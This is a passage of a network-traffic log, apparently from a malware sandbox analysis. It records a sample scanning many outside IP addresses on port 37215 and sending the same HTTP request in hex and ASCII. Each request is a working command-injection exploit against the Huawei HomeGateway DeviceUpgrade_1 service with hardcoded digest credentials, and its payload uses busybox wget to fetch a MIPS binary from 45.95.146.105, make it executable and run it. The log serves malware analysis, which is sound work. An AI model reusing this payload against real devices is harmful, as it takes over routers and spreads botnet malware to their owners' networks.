61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.23	58020	45.123.199.9	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:16:40.973511934 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.23	54976	154.201.23.75	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:16:41.924226046 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:43.473716021 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:45.297575951 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:49.040955067 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:56.463916063 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:17:11.053877115 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.23	42438	94.120.56.67	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:16:43.212764978 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.23	60168	156.254.109.165	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:16:43.235579014 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 